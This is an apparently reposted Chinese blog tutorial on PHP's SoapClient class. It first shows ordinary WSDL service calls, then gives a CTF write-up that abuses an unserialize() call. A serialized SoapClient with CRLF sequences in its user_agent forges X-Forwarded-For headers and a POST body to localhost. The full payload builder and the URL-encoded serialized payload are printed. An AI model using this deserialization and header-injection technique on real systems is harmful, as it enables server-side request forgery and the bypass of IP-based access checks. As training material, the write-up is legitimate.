SoapClient原生類在開發以及安全中利用


Soap模塊的安裝:

PHP使用SOAP協議調用接口,需要安裝soap模塊插件,在使用之前使用phpinfo()方法輸出判斷安裝的PHP是否已安裝了該插件。

image-20210824163948845

SoapClient原生類介紹:

SoapClient采用HTTP作為底層通訊協議,XML作為數據傳送的格式。

SoapClient原生類官方介紹如下:

class SoapClient {
   /* Methods */
   public __construct(?string $wsdl, array $options = [])
   public __call(string $name, array $args): mixed
   public __doRequest(
       string $request,
       string $location,
       string $action,
       int $version,
       bool $oneWay = false
  ): ?string
   public __getCookies(): array
   public __getFunctions(): ?array
   public __getLastRequest(): ?string
   public __getLastRequestHeaders(): ?string
   public __getLastResponse(): ?string
   public __getLastResponseHeaders(): ?string
   public __getTypes(): ?array
   public __setCookie(string $name, ?string $value = null): void
   public __setLocation(?string $location = null): ?string
   public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
   public __soapCall(
       string $name,
       array $args,
       ?array $options = null,
       SoapHeader|array|null $inputHeaders = null,
       array &$outputHeaders = null
  ): mixed
}

可以看到,根據以上代碼,在新建一個SoapClient的類對象的時候,需要有兩個參數,一個是字符串形式的wsdl,另一個是數組形式的options。而wsdl在開發中十分常見,在安全中用的比較少,因此接下來的的部分篇幅,將分為SoapClient在開發中的應用以及SoapClient在安全中的應用這兩塊。

SoapClient在開發中的應用

wsdl這參數之所以在開發中如此常用,是因為它能非常快速的調用現成接口。

用一個實例代碼介紹一下wsdl參數:

<?php
   $url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";
   $client = new SoapClient($url);

   $params = array(
       "qqCode" => "1043045300"
  );
   $result = $client->qqCheckOnline($params);
   print_r($result);
?>

執行結果如下:

stdClass Object
(
  [qqCheckOnlineResult] => Y
)

其中url中的值是QQ開放的WSDL接口,在這個接口中qqCheckOnline方法可以用來查詢QQ是否在線

當然,也可以執行以下代碼,查詢QQ開放的WSDL接口還支持哪些類型以及方法:

<?php
   $url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";
   $client = new SoapClient($url);
   print_r($client->__getTypes());
   print_r($client->__getFunctions());
?>

執行結果如下:

Array
(
  [0] => struct qqCheckOnline {
string qqCode;
}
  [1] => struct qqCheckOnlineResponse {
string qqCheckOnlineResult;
}
)
Array
(
  [0] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters)
  [1] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters)
)

根據上方的兩個例子,我們對SoapClient原生類應該有了部分了解。

但是由於SOAP協議本質上其實還是HTTP協議,只是改變了傳輸過程中的內容為XML形式,而在實際開發過程中,更有些接口對於請求的HTTP頭也做一些校驗限制,因此需要設置HTTP的請求頭以適應需求。

有關設置HTTP請求頭的下面的篇幅會講到。

SoapClient在安全中的應用

由於SoapClient原生類中包含__call方法,並且我們知道:當調用一個對象中不存在的方法時候,會執行call()魔術方法。

因此在CTF中通常會出現一種存在調用不存在的方法並且需要我們偽造請求頭的題目。

這種時候,SoapClient正好可以給我們解決問題。

下面拿一個例題來詳細講解SoapClient在CTF中是如何運用的。

首先題目是給了flag.php的源碼,源碼如下:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

打開題目后,內容如下:

image-20210824153020672

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

我們先審計flag.php,前半部分是對XFF頭進行了處理:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
  • explode() 函數可以把字符串打散為數組。

  • array_pop() 彈出並返回 array 數組的最后一個單元,並將數組 array 的長度減一。

這三行代碼實際上就是,將服務器得到的XFF的最后一個刪除,留下的是倒數第二個

假如我們有以下代碼:

<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
print_r($ip);

當我們XFF傳入以下內容:

127.0.0.1						#返回:空
127.0.0.1,127.0.0.2 #返回:127.0.0.1
127.0.0.1,127.0.0.2,127.0.0.3 #返回:127.0.0.2

接下來我們審計index.php的代碼

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

可以看到對傳入的vip參數進行反序列化,並且調用getFlag方法,顯然此處沒有類定義了getFlag這個方法,因此我們考慮利用SoapClient原生類調用未知方法后執行call魔術方法,然后構造請求讀取flag.php

接下來,我們手動在本地做測試:

我們有如下代碼,其中uri中的9998端口是為了和location中的9999端口做區分:

<?php
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test'));

$client->getFlag();

然后我們nc監聽9999端口

nc -lvvp 9999

刷新頁面之后,可以得到以下請求內容:

image-20210824160013461

仔細觀察后,發現是一個POST請求,並且SOAPAction的值是可控的

但是僅僅依靠這一處,沒有辦法偽造整一個POST請求,因為Content-Type是xml形式的,並且后面的傳輸內容也都是xml形式的,一般情況下POST傳遞參數的格式都是表單形式的(application/x-www-form-urlencoded)

因此我們可以想辦法偽造User-Agent頭

修改后的代碼如下:

<?php
$ua = "Lxxx";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));

$client->getFlag();

nc監聽后,得到的結果如下:

image-20210824160732534

可以看到,User-Agent也被注入進去了,此時,User-Agent就成為了我們的可控參數

User-Agent成為了我們的可控參數后,User-Agent下方的Content-Type也同樣可以被偽造,利用\r\n換行即可偽造

再次修改后的代碼如下:

<?php
$ua = "Lxxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));

$client->getFlag();

代碼中有幾個注意的點

  • 因為$ua中用到了\r\n這兩個換行符,因此要用雙引號包裹

  • HTTP請求頭之間的參數用一組\r\n分割即可

  • HTTP請求頭與POSTDATA之間要用兩個\r\n分割.

  • 設置User-Agent時,應寫成user_agent

同樣的,nc監聽后,結果如下:

image-20210824161613134

其中紫色方框中的是有效的HTTP請求,因為我們設置了Content-Length的值為13,超出13個字符以外的都會被服務器丟棄,所以影響不大。

在本地測試完成了,接下來我們將相關參數修改與題目相對應。

修改后的payload如下:

<?php
$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

print_r(urlencode(serialize($client)));

得到結果:

O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

然后傳入payload:

?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

這樣flag就被寫到了flag.txt中,訪問之后即可拿到flag:

image-20210824163239193

但是這題本身是可以直接訪問flag.php頁面,偽造請求頭得到flag的。

不過當有了cloudfare代理,無法直接在本地偽造請求頭時,就需要利用SoapClient類來構造請求。

 

實驗名稱Headers注入


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM